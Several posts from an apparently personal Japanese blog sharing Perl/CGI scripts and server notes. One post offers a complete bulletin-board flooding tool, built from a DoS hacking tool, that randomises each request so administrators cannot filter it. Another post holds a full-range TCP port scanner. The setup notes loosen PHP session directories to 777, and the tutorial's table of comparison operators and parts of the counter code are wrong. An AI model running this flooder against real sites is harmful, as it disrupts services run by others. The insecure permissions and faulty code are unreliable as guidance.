8月 18

ApacheのCGIやPHPをユーザ権限で動かすにはmod_ruid suExec suPHP等色々ありますが今回mod_ruidを使って行ないたいと思います。
※ディフォルトのsuExecは停止させておく必要があります。

下記のパッケージをインストールする
# yum install httpd-devel
# yum install libcap-devel
ソースをダウンロードしてきてコンパイルする
# wget http://www.sourcefiles.org/Internet/WebServers/Modules/Access_Control/mod_ruid-0.6.tar.gz
# tar xvzf mod_ruid-0.6.tar.gz
# cd mod_ruid-0.6
# apxs -a -i -l cap -c mod_ruid.c

再起動するとmod_ruidが有効になる
# service httpd restart

WordPressでのエラーやphpMyAdminでのエラーの対処
※現在他の方法を模索中…
# chmod 777 /tmp/fs_sessions/ (デフォルトは700)
# chmod 777 /var/lib/php/session (デフォルトは770)

このままではapacheユーザによって作られたcgiやphpが削除できなくなったり色々と問題が発生するため現在のユーザディレクトリ内のファイル所有者を変更しpublic_htmlのパーミッションを700にするスクリプトを書いて自動で書き換える。
(色々面倒で適当に書いてるところはありますが当方が急いで書いた為なのでお気になさらずに…)

#!/usr/bin/perl
$homedir = '/home/';

opendir(DIR,$homedir);
  @list = readdir(DIR);
closedir(DIR);

foreach $udir (@list) {
$userdir = "$homedir$udir";
if(-d $userdir && $udir !~ /\.|\+/){
print "$userdir : $udir\n";
$chown = `chown -R $udir:$udir $userdir/public_html`;
$chmod = `chmod 700 $userdir/public_html`;
  }
}

今後作成されるユーザディレクトリのパーミッションを変える
# chmod 700 /etc/skel/public_html

最後に不正に他のユーザのディレクトリやファイルが閲覧出来ない事を確認する。

Tagged with:
7月 26

意外にもあまり紹介されていないのでメモしておきたいと思う。
EUC-JPの文字コード表では次の通りに並んでる。

!”#$%&’()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~

よって/[\!-\~]/iこれで全ての半角英数文字をマッチすることが可能である。

Tagged with:
3月 24

全く同じ働きをするCGIを書いてみました。
※私の妄想にしか過ぎないので間違ってる可能性もあります。

#!/usr/bin/perl
#===================================
#スクリプト名:ジャンプCGI
#作者:ORBIT
#===================================

# URLの後ろパスがついているかチェック
if ($ENV{'PATH_INFO'} eq ""){&error;}

# パスにhttp:/が含まれている場合削除
$ENV{'PATH_INFO'} =~ s/http:\///;

# URLの作成
$PATH = "http:/$ENV{'PATH_INFO'}";

# 出力
print "Content-type: text/html\n\n";
print <<EOT
<html><head>
<title>jump</title></head>
<body>
以下のURLに飛びますよろしいですか?<br>
<a href="$PATH">$PATH</a>
</body></html>
EOT
;

# パスが見つからなかった場合は下記を出力
sub error {
print "Content-type: text/html\n\n";
print <<EOT
<html><head>
<title>jump</title></head>
<body>
test
</body></html>
EOT
;
exit;
}

これをエラーページにしてるのかリダイレクトしてるのか多分そんなところかと思います。

Tagged with:
11月 19

原本に一部間違いや遠回りをしていると思われる点がありましたので修正してあります。

#!/usr/bin/perl
#-------------------------------------------------#
# Name: Port Scan Program
# 原作: Perl scan port
# (URL: http://www.perlmonks.org/?node_id=806461)
# 解説: ORBIT SPACE
# 目的: ポートスキャンプログラムの構造の
#       理解とモジュール利用方法等の理解
#       を行う為に今回構造の解説とプログ
#       ラムの変更を行いました。
#-------------------------------------------------#

#モジュール使用宣言
use IO::Socket;

# Very Simple Scan Port Write in Perl

# MAIN PROG

print "Perl Scan Port V1.0\n\n";

# User Var

# perl port.pl 127.0.0.1のように入力されたIPアドレスを取得
my $iptarget =  $ARGV[0];
unless($ARGV[0]){die "MISSING IP ADRESS\n\n";}

print "Interesting ports on $iptarget\n\n";

print "PORT // STATE // SERVICE\n";

# Scanning fonction
# ポート番号をインクリメントして作成する。
for(my $iport = 0; $iport != 65537; $iport++){
# 指定されたIPアドレスのポートへ接続
if (my $remote = IO::Socket::INET->new(
   	Proto => "tcp",
   	PeerAddr => $iptarget,
   	PeerPort => $iport,
   	Timeout => "5")){

	# サービス内容(http,ftp,ssh等)の表示し格変数へ格納
	(my $name, my $aliases, my $port_number, my $protocol_name) =+
	getservbyport($iport , "tcp");

	# サービス名が不明な場合NAを格納
	unless($name){$name = "NA";}
	# 出力
	print "$iport     open      $name\n";
	# 切断
	close($remote);
	}
}

print "Scan Finish\n";
Tagged with:
11月 07

どうしてもカウンターがリセットされる現象を回避できなくて頭を悩ましていました^^;
どうもflock関数(ファイルロック)が理解できていなかったと言うのが結論。
にしても酷いな・・・・勉強の大切さを理解しました。

カウンターでこのざまなら掲示板はどうなるんだ?
最初から作り直したほうが早いかもな・・・・・インストーラも効率悪かったし^^;

すばらしく分かりやすく解説していただいたサイト
CGIやDBのロックと同時実行制御

#!/usr/bin/perl
#######################################################
#スクリプト名:ROS カウンター Ver.1.03
#作者:ORBIT
#著作権:ORBIT SPACEに帰属します。
#著作権表示は一切行いません。自由にお使いください。
#######################################################

#各種設定
#------------------------------------------------------
#イメージの保存ディレクトリ
$imgs = './img/';
#ログの保存場所
$ip_log = 'ip.log';
$counts_log = 'counts.log';
#------------------------------------------------------

#IPを取得
$ip = $ENV{'REMOTE_ADDR'};

#GETのデータから位を取得
$buf = $ENV{'QUERY_STRING'};
--$buf;

#過去ログの取得
open (IN_OUT,"+<$counts_log");
flock IN_OUT, 2;
$counts_data = <in_OUT>;

open (IP_IN_OUT,"+<$ip_log");
flock(IP_IN_OUT, 1);
@ip_data = <ip_IN_OUT>;
chomp($ip_data[0]);
if($ip eq $ip_data[0]){&img;}
$ip_data[0] = "$ip_data[0]\n";

#インクリメントして保存
if($counts_data eq ""){$counts_data = "00000000"};
++$counts_data;
seek IN_OUT, 0, 0;
print IN_OUT $counts_data;
close(IN_OUT);

#IPを記録
unshift @ip_data, "$ip\n";
seek IP_IN_OUT, 0, 0;
print IP_IN_OUT @ip_data;
close(IP_IN_OUT);

&img;

# 画像表示
sub img{
#過去ログを取得し逆順に並べ替える
@list = split(//,$counts_data);
@img_list = reverse (@list);
$nu = $img_list[$buf];

open(IG,"$imgs$nu.gif");
print "Content-type: image/gif\n\n";
binmode(IG);
binmode(STDOUT);
print <ig>;
close(IG);
exit;
}
Tagged with:
11月 05

基礎となるプログラムです。
先日紹介したダウンロードの方法をPerlにて最小限に表現してみました。

#!/usr/bin/perl
#########################################
#ソフト名:YoutubeダウンロードURL生成β
#作成日:2009/11/5
#作者:ORBIT
#著作権:ORBIT SPACEへ帰属します。
#########################################

#LWPモジュールを使用する
use LWP;

print"Youtube\tURL\n>";
$Target = <stdin>;

#正規表現にてURLの情報を取得
$Target =~ /http:\/\/(.*)\/watch\?v=(\w*)/;
my $host = $1;
my $id = $2;

#取得した情報からURLを生成
$URL = 'http://www.youtube.com/get_video_info?&video_id='."$id";

#HTMLの取得
my $soce = LWP::UserAgent->new->request(
		HTTP::Request->new(GET => "$URL"))->content;

		#TOKENの取得を行う
		$soce =~ /.*token=(.*)\&thumbnail_url=.*/;
		my $t = $1;

#TOKENを出力
print"$t\n";
#Downlad可能なURLを出力
print'http://youtube.com/get_video?video_id='."$id".'&t='."$t\n";
Tagged with:
8月 29

 現在掲示板を作成中ですが、またしても脆弱性を発見しましたので、今回は開き直ってある程度性能のある掲示板連続投票ソフトを作成しました。一般的に言われる田代砲です。
 通常はJava scriptで書かれていますが、勉強と関数の復習を兼ねてPerlを利用して作りました。
 以前紹介したDoS.Perl.BBDoS.aを参考に作るならもっとセンスのある洒落たツールをと言う事で、乱数を追加して送信できる機能を取り付けました。田代砲とするなら乱田代砲と名づけましょうか^^;

 私の知識不足でProxyリストを使い投稿ごとにアクセス元を変更する機能こそ付いていませんが、投稿内容が毎回変わるので掲示板管理者や作成者はとても対策に困る訳です。
※ (もちろん、一定時間ごとに投票させるスリープ機能は付けてあります。)
つまり、このツールを防げたらたいていの連続投票を防げるわけです。

※ このプログラムは悪戯目的に使用しないでください。
元はDos攻撃用ハッキングツールを参考にしていますので非常に危険です。

#!/usr/bin/perl
#################################################
#ソフト名:掲示板耐久性テストプログラム
#バージョン:Ver.1.0
#ファイル名:bbsDos.pl
#作者:ORBIT
#作者HP:http://www.orsp.net/blog/
#※悪戯の目的で使用しないでください。
#################################################

#IO::Socketモジュールを使用する
use IO::Socket;

#アクセス先ホストの指定
while($host eq ""){
print "X"x"50"."\n";
print "URL(ホスト名)を入力してください\n";
print "> http://";
$host = <stdin>;
chomp $host;
if($host eq "quit"){exit;}
}

#ポートを指定するかユーザーへ質問する
print "X"x"50"."\n";
print "ポート番号を指定しますか?[y/n]";
$q_port = <stdin>;
print "指定しない場合は80番ポートへアクセスします\n";
chomp $q_port;

#yが入力されたらポート番号が入力されるまで待機
if ($q_port eq "y"){
print "X"x"50"."\n";
print "ポートを指定します\n";
print "> ";
$port = <stdin>;
chomp $port;
}else{
$port = "80";
}

#乱数を追記させるかを確認
print "X"x"50"."\n";
print "送信するデータに乱数を追加しますか?[y/n]";
$r = <stdin>;
chomp $r;

#ファイルの場所の指定
print "X"x"50"."\n";
print "URL(ファイルの場所と送信データ)を入力してください\n";
print "乱数を追加しますのでコメントのname=で終了してください\n" if($r eq "y");
print "> http://$host/";
$bbs = <stdin>;
chomp $bbs;
$bbs = "/".$bbs;

#送信回数
print "X"x"50"."\n";
print "ループさせる回数を指定してください\n";
print "> ";
$loop = <stdin>;
chomp $loop;
if($loop eq "" || $loop eq "1"){
$loop = "2";
$ex = "1";
}
if($loop == "0"){
print "Error:0回のループは指定出来ません!\n";
exit;
}
$loop-="1";

#スリープの設定
print "X"x"50"."\n";
print "指定秒ウェイトを設定する場合は入力してください\n";
print "> ";
$slp = <stdin>;
chomp $slp;

#指定させた数字になるまでループ
while($ex <= $loop){
print "X"x"50"."\n";
$bbs2=$bbs;
#乱数格納
if ($r eq "y"){
$rr = rand("1000");
$bbs2.=$rr;
}

#送信数のインクリメント
$exd = $exd+"1";
print "$exd回目\n";

#割合
if($loop ne ""){
$sa = int(($ex/$loop)*"100");
print "進行状況:[$sa\%\/100\%]を完了しました\n";
$ex +="1";
}

#送信情報の出力
print "ホストへ以下の情報を送信中です\n";
print "$bbs2\n";
#ホストへ接続を試みる
$socket = new IO::Socket::INET (
                                 PeerAddr => "$host",
                                 PeerPort => "$port",
                                 Proto => "tcp",
                                );
die "Error:ホストに接続できませんでした!\n" unless $socket;
#送信
print $socket "GET $bbs2 HTTP/1.0\n\n";
close($socket);

#スリープ
print "$slp秒スリープします\n" if($slp ne "");
sleep $slp;
}

print "終了しました\n"
Tagged with:
6月 17

研究の息抜きに組んでみようと考えたら案外とても厄介でした。
素直に後何日って表示すればいいものを
あと〇ヶ年〇ヶ月と〇日って書くものだから
日付がマイナスになるんですよ^^;
0ヶ年1ヶ月と-4日
ってな風になって解決する為にスクリプトが長くなってしましました(汗

ループとか使えばもっと短くなったかも知れませんね(汗
勉強が必要ですm(_ _)mペコリ

実際の動作風景
http://www.orsp.net/~orbit/cgi-bin/win.cgi

#!/usr/bin/perl

###########################################
#ファイル名:win.cgi
#作者:ORBIT
# <hp URL>
# http://www.orsp.net/blog/
#
# <目的と機能>
#ユーザーが指定した予定日まで
#カウントダウンするスクリプト
#
# <著作権に関して>
#2009年10月23日を過ぎた時点で完全に破棄します。
#上記の日付を過ぎている場合は
#目的に応じ自由にカスタムしてかまいません。
###########################################

#---------
#各種設定
#---------

#CGIまでのURL
$win = "http://www.orsp.net/~orbit/cgi-bin/win.cgi";

#HPまでのURL
$url = "http://www.orsp.net/blog";

#ページタイトル
$mane = "専修大学 AO入試までのカウントダウン";

#予定時間のタイトル
$index0 = "現在";
$index1 = "AO入試説明会";
$index2 = "出願期間(〆切)";
$index3 = "第1次選考";
$index4 = "第2次選考";
$index5 = "合格発表";

#予定時間
$time1 = "2009<>7<>25\n";
$time2 = "2009<>9<>10\n";
$time3 = "2009<>10<>2\n";
$time4 = "2009<>10<>17\n";
$time5 = "2009<>10<>23\n";

#カレンダー (2009)
my $days_1 ="31";
my $days_2 ="28";
my $days_3 ="31";
my $days_4 ="30";
my $days_5 ="31";
my $days_6 ="30";
my $days_7 ="31";
my $days_8 ="31";
my $days_9 ="30";
my $days_10 ="31";
my $days_11 ="30";
my $days_12 ="31";

#現時間の取得
($sec, $min, $hour, $mday, $mon, $year, $wday, $yday, $isdst)
= localtime( );
#西暦へ変換
$year += 1900;
$mon++;
$tomon = $mon;
$today = $mday;
$now = sprintf("$index0:\t%s/%s/%s",$year,$tomon,$today);

#------------------------------------
#指定された予定日までをカウントダウン
#------------------------------------

#スラッシュを消去し予定日1日目の処理を開始
($YY, $MM, $DD) = split(/<>/,$time1);
      #現在の時間と現在の時間を比較し減算
	  $YY -= $year;
	  $MM -= $mon;
	  $DD -= $mday;
	  #日付けにマイナスが付く場合修正
	  if ($MM < 0){&minus_MM};
	  if ($DD < 0){&minus_DD};

	  #文字列の整形し変数に格納
	  $time_1 = sprintf("$index1:\t%sヶ年%sヶ月と%s日",$YY,$MM,$DD);

	  #予定日を過ぎた場合の処理
	  if ($time_1 =~ /-/){$time_1 = "$index1:\tカウント終了"};

#スラッシュを消去し予定日2日目の処理を開始
($YY, $MM, $DD) = split(/<>/,$time2);
      #現在の時間と現在の時間を比較し減算
	  $YY -= $year;
	  $MM -= $mon;
	  $DD -= $mday;
	  #日付けにマイナスが付く場合修正
	  if ($MM < 0){&minus_MM};
	  if ($DD < 0){&minus_DD};

	  #文字列の整形し変数に格納
	  $time_2 = sprintf("$index2:\t%sヶ年%sヶ月と%s日",$YY,$MM,$DD);

	  #予定日を過ぎた場合の処理
	  if ($time_2 =~ /-/){$time_2 = "$index2:\tカウント終了"};

#スラッシュを消去し予定日3日目の処理を開始
($YY, $MM, $DD) = split(/<>/,$time3);
      #現在の時間と現在の時間を比較し減算
	  $YY -= $year;
	  $MM -= $mon;
	  $DD -= $mday;
	  #日付けにマイナスが付く場合修正
	  if ($MM < 0){&minus_MM};
	  if ($DD < 0){&minus_DD};

	  #文字列の整形し変数に格納
	  $time_3 = sprintf("$index3:\t%sヶ年%sヶ月と%s日",$YY,$MM,$DD);

	  #予定日を過ぎた場合の処理
	  if ($time_3 =~ /-/){$time_3 = "$index3:\tカウント終了"};

#スラッシュを消去し予定日4日目の処理を開始
($YY, $MM, $DD) = split(/<>/,$time4);
      #現在の時間と現在の時間を比較し減算
	  $YY -= $year;
	  $MM -= $mon;
	  $DD -= $mday;
	  #日付けにマイナスが付く場合修正
	  if ($MM < 0){&minus_MM};
	  if ($DD < 0){&minus_DD};

	  #文字列の整形し変数に格納
	  $time_4 = sprintf("$index4:\t%sヶ年%sヶ月と%s日",$YY,$MM,$DD);

	  #予定日を過ぎた場合の処理
	  if ($time_4 =~ /-/){$time_4 = "$index4:\tカウント終了"};

#スラッシュを消去し予定日5日目の処理を開始
($YY, $MM, $DD) = split(/<>/,$time5);
      #現在の時間と現在の時間を比較し減算
	  $YY -= $year;
	  $MM -= $mon;
	  $DD -= $mday;
	  #日付けにマイナスが付く場合修正
	  if ($MM < 0){&minus_MM};
	  if ($DD < 0){&minus_DD};

	  #文字列の整形し変数に格納
	  $time_5 = sprintf("$index5:\t%sヶ年%sヶ月と%s日",$YY,$MM,$DD);

	  #予定日を過ぎた場合の処理
	  if ($time_5 =~ /-/){$time_5 = "$index5:\tカウント終了"};

#---------
#HTML出力
#---------

#HTMLで出力

print "Content-type: text/html;charset=EUC-JP\n\n";

print <<eod
<html>
  <head>
    <title>$mane</title>
  </head>
 <body>
      <h1>$mane</h1>
        <font SIZE="6">$now</font><br />
		<br />
		<font SIZE="5"><b><i><a href="$win">RELOAD</a></b></i></font><br />
        <font SIZE="6">$time_1</font><br />
        <font SIZE="6">$time_2</font><br />
        <font SIZE="6">$time_3</font><br />
        <font SIZE="6">$time_4</font><br />
        <font SIZE="6">$time_5</font><br />
		<br />
		<hr />
		<解説><br />
		Perlを利用した カウントダウンスクリプトを作成してみました。<br />
		予定日が近づく毎にカウントダウンされていきます。<br />
		予定日を過ぎるとカウントを終了しましたとメッセージを表示します。<br />
		<br />
		作成者HP<br />
		<a href="$url" target="_blank">ORBIT SPACE</a>
 </body>
</html>
EOD
;

#===========================
#誤差修正 サブルーチン 月用
#===========================

sub minus_MM {
if ($MM == "-1"){
    $MM = "13";
    }elsif ($MM == "-2"){
	$MM = "14";
	}elsif ($MM == "-3"){
	$MM = "15";
	}elsif ($MM == "-4"){
	$MM = "16";
	}elsif ($MM == "-5"){
	$MM = "17";
	}elsif ($MM == "-6"){
	$MM = "18";
	}elsif ($MM == "-8"){
	$MM = "19";
	}elsif ($MM == "-9"){
	$MM = "20";
	}elsif ($MM == "-10"){
	$MM = "21";
	}elsif ($MM == "-11"){
	$MM = "22";
	}elsif ($MM == "-12"){
	$MM = "23";
    }
}

#===============================
#誤差修正 サブルーチン 日にち用
#===============================

sub minus_DD {
if ($MM == "1"){
    $MM = "12";
	 #カレンダー読み込みと照合
	 &mons;
    $days += $DD;
    $DD = $days;
  }elsif ($MM == "2"){
    $MM--;
	 #カレンダー読み込みと照合
	 &mons;
    $days += $DD;
    $DD = $days;
  }elsif ($MM == "3"){
    $MM--;
	 #カレンダー読み込みと照合
	 &mons;
    $days += $DD;
    $DD = $days;
  }elsif ($MM == "4"){
    $MM--;
	 #カレンダー読み込みと照合
	 &mons;
    $days += $DD;
    $DD = $days;
  }elsif ($MM == "5"){
    $MM--;
	 #カレンダー読み込みと照合
	 &mons;
    $days += $DD;
    $DD = $days;
  }elsif ($MM == "6"){
    $MM--;
	 #カレンダー読み込みと照合
	 &mons;
    $days += $DD;
    $DD = $days;
  }elsif ($MM == "7"){
    $MM--;
	 #カレンダー読み込みと照合
	 &mons;
    $days += $DD;
    $DD = $days;
  }elsif ($MM == "8"){
    $MM--;
	 #カレンダー読み込みと照合
	 &mons;
    $days += $DD;
    $DD = $days;
  }elsif ($MM == "9"){
    $MM--;
	 #カレンダー読み込みと照合
	 &mons;
    $days += $DD;
    $DD = $days;
  }elsif ($MM == "10"){
    $MM--;
	 #カレンダー読み込みと照合
	 &mons;
    $days += $DD;
    $DD = $days;
  }elsif ($MM == "11"){
    $MM--;
	 #カレンダー読み込みと照合
	 &mons;
    $days += $DD;
    $DD = $days;
  }elsif ($MM == "12"){
    $MM--;
	 #カレンダー読み込みと照合
	 &mons;
    $days += $DD;
    $DD = $days;
  }
}

#=================================
#カレンダー読み込みと照合
#=================================

sub mons{
if ($tomon == "1"){
	$days = $days_1;
	}elsif ($tomon == "2"){
	$days = $days_2;
	}elsif ($tomon == "3"){
	$days = $days_3;
	}elsif ($tomon == "4"){
	$days = $days_4;
	}elsif ($tomon == "5"){
	$days = $days_5;
	}elsif ($tomon == "6"){
	$days = $days_6;
	}elsif ($tomon == "7"){
	$days = $days_7;
	}elsif ($tomon == "8"){
	$days = $days_8;
	}elsif ($tomon == "9"){
	$days = $days_9;
	}elsif ($tomon == "10"){
	$days = $days_10;
	}elsif ($tomon == "11"){
	$days = $days_11;
	}elsif ($tomon == "12"){
	$days = $days_12;
	}
}

アップロード方法

属性(パーミッション)について
Linux系サーバーでは属性をきちんと設定しなければ動きません。
Windowsには属性という理念は存在しませんので
Win系サーバーでは考える必要は無いです。

CGIを実行出来るデレクトリーにアップロードしてください。
もしもError500になる場合は
管理者に
#!/usr/bin/perl
のパスを確認してもらってください。

自宅サーバー利用者について
CGIはApache2の場合
/etc/apache2/conf/httpd.conf
あたりを設定してみましょう。

図
public_html/ ←公開ディレクトリー
    |
    +-/cgi-bin/ ←属性:drwxr-xr-x
        |
        +-win.cgi ←属性:-rwxr-xr-x
Tagged with:
5月 22

現在、掲示板を作成しようと
日々ちょっとした時間を見つけノートにアイデアをまとめてる日々ですが

実際作成する時間が無く色々と困らされている分けで中々進みません。

そんな中
Perlプログラム専用に作られたエディタを見つけて案外使いやすかったので紹介します。
PerlEditor
とにかく見やすくて扱いやすいです。

今まで使ってたソフトは
ezhtml
Apsaly
etc…..

ezhtmlは気づけばリンクウエアになってましたし
Apsalyは色分けされてません
しかもどちらにも言える事ですが検索機能が使いづらい・・・・・・
検索する文字は合ってるのに確答しないなど

おぃ・・・・^^;
と思う事が度々ありまして困ってました

変数やサブルーチンそれから連想配列など隣に表示してくれるので
わざわざ探す必要が無いです^^

ws000049

ws000050

Tagged with:
2月 27

先ずは以下のスクリプトを見てください。


#<ファイル名>
#test.pl
#<スクリプト内容>
#ifステートメントの構文を利用した簡単な
#プログラムを作ってみました。

print “ORBITの年齢はいくつでしょう?\n”;
$number = <STDIN>;
#改行コード削除
chomp ($number);

#ifステートメントによる実行の分岐
if ($number == 17) {
#入力された値が17に等しい場合
print “正解です。平凡な学生です^^\n”;
}else{
#入力された値が17と異る場合
print “残念!! 正解は17才です^^\n”;
}

print “ORBIT SPACEの現在のアクセス数は一日最低何人でしょうか\n”;
$number = <STDIN>;
#改行コード削除
chomp ($number);

#ifステートメントによる実行の分岐
if ($number >= 200) {
#入力された値が200以上の場合
print “正解です。記事を読んで頂感謝申し上げます。\n”;
}else{
#入力された値が200以下の場合
print “残念!! 記事を読んで頂感謝申し上げます。\n”;
}


このスクリプトを実行すると以下のように返ってきます。(一部文字化け有り)
ws000011

if ($number == 17) {
#入力された値が17に等しい場合
print “正解です。平凡な学生です^^\n”;
}else{
#入力された値が17と異る場合
print “残念!! 正解は17才です^^\n”;
}

のifとは、英語で訳されるように
もしも~たっだら
という意味があります。

if (判定文<式>) {
#入力された値が式の条件に合ってる場合下のステートメントを実行
====ステートメント====
}else{
#入力された値が式の条件に異なってる場合下のステートメントを実行
====ステートメント====
}

==や<=など簡単な関係演算子を紹介しておきます。
a == b
aとbの数列が等しい場合、真を返す
a <= b
数列aが数列b以上の場合、真を返す
a >= b
数列aが数列b以上の場合、真を返す
a < b
数列aより数列bの方が大きい場合、真を返す
a > b
数列aより数列bの方が小さい場合、真を返す
a != b
aとbの数列が異なる場合、真を返す
a eq b
aとbの文字列が等しい場合、真を返す
a le b
文字列aが文字列b以上の場合、真を返す
a ge b
文字列aが文字列b以上の場合、真を返す
a lt b
文字列aより文字列bの方が大きい場合、真を返す
a gt b
文字列aより文字列bの方が小さい場合、真を返す
a ne b
aとbの文字列が異なる場合、真を返す

Tagged with: